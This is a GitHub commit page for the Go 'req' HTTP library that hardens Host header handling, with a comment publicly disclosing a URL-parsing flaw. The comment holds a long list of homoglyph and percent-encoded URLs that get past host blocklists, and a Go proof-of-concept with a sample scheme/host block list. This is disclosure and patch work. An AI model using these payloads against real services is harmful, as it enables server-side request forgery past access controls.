Skip to content

Commit

Permalink
prevent successful requests from invalid host
Browse files Browse the repository at this point in the history
  • Loading branch information
@imroc
imroc committed May 8, 2024
1 parent 22b0784 commit 04e3ece
Show file tree
Hide file tree
Showing 2 changed files with 35 additions and 38 deletions.
40 changes: 4 additions & 36 deletions http.go
View file
Original file line number Diff line number Diff line change
Expand Up @@ -3,14 +3,14 @@ package req
import (
"encoding/base64"
"fmt"
"github.com/imroc/req/v3/internal/ascii"
"golang.org/x/net/http/httpguts"
"golang.org/x/net/idna"
"io"
"net"
"net/http"
"net/textproto"
"strings"

"github.com/imroc/req/v3/internal/ascii"
"golang.org/x/net/http/httpguts"
"golang.org/x/net/idna"
)

// maxInt64 is the effective "infinite" value for the Server and
Expand Down Expand Up @@ -165,38 +165,6 @@ func idnaASCII(v string) (string, error) {
return idna.Lookup.ToASCII(v)
}

// cleanHost cleans up the host sent in request's Host header.
//
// It both strips anything after '/' or ' ', and puts the value
// into Punycode form, if necessary.
//
// Ideally we'd clean the Host header according to the spec:
// https://tools.ietf.org/html/rfc7230#section-5.4 (Host = uri-host [ ":" port ]")
// https://tools.ietf.org/html/rfc7230#section-2.7 (uri-host -> rfc3986's host)
// https://tools.ietf.org/html/rfc3986#section-3.2.2 (definition of host)
// But practically, what we are trying to avoid is the situation in
// issue 11206, where a malformed Host header used in the proxy context
// would create a bad request. So it is enough to just truncate at the
// first offending character.
func cleanHost(in string) string {
if i := strings.IndexAny(in, " /"); i != -1 {
in = in[:i]
}
host, port, err := net.SplitHostPort(in)
if err != nil { // input was just a host
a, err := idnaASCII(in)
if err != nil {
return in // garbage in, garbage out
}
return a
}
a, err := idnaASCII(host)
if err != nil {
return in // garbage in, garbage out
}
return net.JoinHostPort(a, port)
}

// removeZone removes IPv6 zone identifier from host.
// E.g., "[fe80::1%en0]:8080" to "[fe80::1]:8080"
func removeZone(host string) string {
Expand Down
33 changes: 31 additions & 2 deletions transport.go
View file
Original file line number Diff line number Diff line change
Expand Up @@ -2986,12 +2986,41 @@ func (pc *persistConn) writeRequest(r *http.Request, w io.Writer, usingProxy boo
// is not given, use the host from the request URL.
//
// Clean the host, in case it arrives with unexpected stuff in it.
host := cleanHost(r.Host)
host := r.Host
if host == "" {
if r.URL == nil {
return errMissingHost
}
host = cleanHost(r.URL.Host)
host = r.URL.Host
}
host, err = httpguts.PunycodeHostPort(host)
if err != nil {
return err
}

// Validate that the Host header is a valid header in general,
// but don't validate the host itself. This is sufficient to avoid
// header or request smuggling via the Host field.
// The server can (and will, if it's a net/http server) reject
// the request if it doesn't consider the host valid.
if !httpguts.ValidHostHeader(host) {
// Historically, we would truncate the Host header after '/' or ' '.
// Some users have relied on this truncation to convert a network
// address such as Unix domain socket path into a valid, ignored
// Host header (see https://go.dev/issue/61431).
//
// We don't preserve the truncation, because sending an altered
// header field opens a smuggling vector. Instead, zero out the
// Host header entirely if it isn't valid. (An empty Host is valid;
// see RFC 9112 Section 3.2.)
//
// Return an error if we're sending to a proxy, since the proxy
// probably can't do anything useful with an empty Host header.
if !usingProxy {
host = ""
} else {
return errors.New("http: invalid Host header")
}
}

// According to RFC 6874, an HTTP client, proxy, or other
Expand Down

1 comment on commit 04e3ece

@zer0yu
Copy link

@zer0yu zer0yu commented on 04e3ece Aug 9, 2024

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Thank you for addressing this vulnerability. I am now making the vulnerability report public in this comment.

The req library may send unintended requests when malformed URLs are provided

0x01 Summary

The req library is a widely used HTTP library in Go. However, it does not handle malformed URLs effectively. As a result, after parsing a malformed URL, the library may send HTTP requests to unexpected destinations, potentially leading to security vulnerabilities or unintended behavior in applications relying on this library for handling HTTP requests.

Despite developers potentially utilizing the net/url library to parse malformed URLs and implement blocklists to prevent HTTP requests to listed URLs, inconsistencies exist between how the net/url and req libraries parse URLs. These discrepancies can lead to the failure of defensive strategies, resulting in potential security threats such as Server-Side Request Forgery (SSRF) and Remote Code Execution (RCE).

0x02 Details

2.1 Affected components

The vulnerable component is:

2.2 Attack scenario

A typical attack scenario is illustrated in the diagram below. The Validator checks whether the attacker-supplied URL is on the blocklist. If not, the URL is passed to the Requester for processing. The Requester is responsible for sending requests to the hostname specified by the URL.

This attack occurs when the Validator is the url.Parse function and the Requester is the client.R().Get function. An attacker can send a malformed URL to the Validator (e.g., http://vulndⓔtector.com/ ). After validation, the Validator finds that the URL is not on the blocklist (the hostname parsed by urlparse is empty). However, the Requester can still send requests to the domain with the hostname vulndetector.com.

image-20240427171232564

0x03 PoC

It is worth noting that the payload for this vulnerability and the range of versions affected may vary across different operating systems. The following is a collection of all payloads that may have a security impact.

Linux/macOS payloads:

http://vulndetec%EF%BD%94or.com/
http://vulndetect%C2%BAr.com/
http://vulnｄetector.com/
http://vulndetector.ｃom/
http://vuln%E2%85%BEetector.com/
http://vulndeteⓒtor.com/
http://%EF%BD%96ulndetector.com/
http://vulndet%E2%93%94ctor.com/
http://%C2%ADvulndetector.com/
http://vul­ndetector.com/
http://vuⅼndetector.com/
http://vulndetectoｒ.com/
http://ｖulndetector.com/
http://vuln%C2%ADdetector.com/
http://vuln­detector.com/
http://vulndetecto%C2%ADr.com/
http://vulndetector.%E2%93%92om/
http://vulｎdetector.com/
http://vulndetectoʳ.com/
http://%E2%93%A5ulndetector.com/
http://vulndetect%E2%93%9Er.com/
http://vｕlndetector.com/
http://vulndetector.c%EF%BD%8Fm/
http://vulnd%C2%ADetector.com/
http://vulndetector.cⓞm/
http://vulndetector.co%EF%BD%8D/
http://vulndetecｔor.com/
http://vulndetect%EF%BD%8Fr.com/
http://vulndetect%C2%ADor.com/
http://­vulndetector.com/
http://vulndete%C2%ADctor.com/
http://vulndetector.coⓜ/
http://vuⓛndetector.com/
http://vulnd%E2%93%94tector.com/
http://vulndetect­or.com/
http://vu%EF%BD%8Cndetector.com/
http://vulndetectoⓡ.com/
http://vulndetector.coⅿ/
http://vulndeⓣector.com/
http://vulndetector.ⅽom/
http://vulndetec­tor.com/
http://vul%E2%93%9Ddetector.com/
http://vuln%EF%BD%84etector.com/
http://vulndetector.Com/
http://vu%C2%ADlndetector.com/
http://vulndete%EF%BD%83tor.com/
http://vulndetector%EF%BC%8Ecom/
http://vulnd%EF%BD%85tector.com/
http://vulndetector.co%E2%85%BF/
http://vulndetector.c%C2%ADom/
http://vulndetector.co­m/
http://vulndetectºr.com/
http://vulndetecto%E2%93%A1.com/
http://vulndete%E2%85%BDtor.com/
http://vu%E2%85%BCndetector.com/
http://vⓤlndetector.com/
http://vulndetecto­r.com/
http://vu%CB%A1ndetector.com/
http://vulnde%C2%ADtector.com/
http://vulndetectⓞr.com/
http://vulndetector.cｏm/
http://vulndetector.c­om/
http://vulndetector｡com/
http://vulndetector.c%E2%93%9Em/
http://vulndeteｃtor.com/
http://vulndEtector.com/
http://vulndetｅctor.com/
http://vulⓝdetector.com/
http://vul%E2%81%BFdetector.com/
http://vulndetector.com%C2%AD/
http://v%C2%ADulndetector.com/
http://vulnde%E2%93%A3ector.com/
http://vulndetector.c%C2%BAm/
http://vulⁿdetector.com/
http://vulndetectｏr.com/
http://vulnⓓetector.com/
http://v%E2%93%A4lndetector.com/
http://vulnde%EF%BD%94ector.com/
http://vulndetector.­com/
http://vulnd­etector.com/
http://vulnⅾetector.com/
http://vulndeｔector.com/
http://vulndetector.%EF%BD%83om/
http://vulndetecTor.com/
http://v%EF%BD%95lndetector.com/
http://vulndetector.%E2%85%BDom/
http://vulndetector%EF%BD%A1com/
http://vulndetector.co%E2%93%9C/
http://vuln%E2%93%93etector.com/
http://vu­lndetector.com/
http://vulndetector.%C2%ADcom/
http://vulndｅtector.com/
http://vulndetector%C2%AD.com/
http://vu%E2%93%9Bndetector.com/
http://%E2%85%B4ulndetector.com/
http://vulndetector.cºm/
http://vulndetector.com­/
http://vulndete%E2%93%92tor.com/
http://vulndetector­.com/
http://vul%EF%BD%8Edetector.com/
http://vulndetecto%CA%B3.com/
http://vulNdetector.com/
http://vulnde­tector.com/
http://ⓥulndetector.com/
http://vuˡndetector.com/
http://vulndⓔtector.com/
http://vulndetector.ⓒom/
http://vulndetⓔctor.com/
http://vul%C2%ADndetector.com/
http://vulndetec%C2%ADtor.com/
http://v­ulndetector.com/
http://vulndet­ector.com/
http://vulndetecⓣor.com/
http://vulndet%EF%BD%85ctor.com/
http://vulndet%C2%ADector.com/
http://vulndetector．com/
http://vulndetector.co%C2%ADm/
http://vuｌndetector.com/
http://vulndeteⅽtor.com/
http://ⅴulndetector.com/
http://vulndete­ctor.com/
http://vulndetector.coｍ/
http://vulndetecto%EF%BD%92.com/
http://vulndetec%E2%93%A3or.com/

You can verify this issue using the sample program below. Simply replace the payload variable in the verify function with the payload mentioned above to conduct the test.

Typical Example PoC

package main

import (
	"fmt"
	"github.com/imroc/req/v3"
	"io"
	"net/url"
	"strings"
)

func safeURLOpener(inputLink string) (*req.Response, error) {
	blockSchemes := map[string]bool{
		"file": true, "gopher": true, "expect": true,
		"php": true, "dict": true, "ftp": true,
		"glob": true, "data": true,
	}
	blockHost := map[string]bool{
		"vulndetector.com": true,
	}

	parsedUrl, err := url.Parse(inputLink)
	if err != nil {
		fmt.Println("Error parsing URL:", err)
		return nil, err
	}

	inputScheme := parsedUrl.Scheme
	inputHostname := parsedUrl.Hostname()

	if blockSchemes[inputScheme] {
		fmt.Println("input scheme is forbidden")
		return nil, nil
	}

	if blockHost[inputHostname] {
		fmt.Println("input hostname is forbidden")
		return nil, nil
	}

	client := req.C()
	resp, err := client.R().Get(inputLink)
	if err != nil {
		return nil, err
	}

	return resp, nil
}

func verify() {
	payload := "http://vulndⓔtector.com/"
	result, _ := safeURLOpener(payload)
	if result != nil {
		defer result.Body.Close()
		if result.StatusCode == 200 {
			bodyBytes, err := io.ReadAll(result.Body)
			if err != nil {
				fmt.Println("Failed to read response body:", err)
				return
			}
			bodyString := string(bodyBytes)
			if strings.Contains(bodyString, "FindVuln") {
				fmt.Println("payload find! ==>", payload)
			}
		}
	}
}

func main() {
	verify()
}

0x04 Impact

The impact of this vulnerability is huge because the req library is widely used. In many cases, developers need a blocklist to block on some keywords. However, the vulnerability will help attackers bypass the protections that developers have set up for schemes and hosts. The vulnerability will lead to SSRF[1] and RCE[2] vulnerabilities in several cases.

This security issue has previously been identified, and a CVE number has been assigned. For more information, refer to [3] and [4].

Furthermore, it is worth noting that according to our tests, [urllib3](https://github.com/urllib3/urllib3) does not have this security vulnerability. Its implementation strictly follows the RFC3986 specification.

0x05 Mitigation

Special characters in user input can potentially lead to security vulnerabilities, so it is crucial to perform strict validation and sanitization before processing any requests. Carefully examine and handle these characters to mitigate risks and ensure the security of the system.

0x06 Reference

[1] https://cwe.mitre.org/data/definitions/918.html

[2] https://cwe.mitre.org/data/definitions/94.html

[3] https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-24329

[4] https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-22243

[5] https://datatracker.ietf.org/doc/html/rfc3986

Please sign in to comment.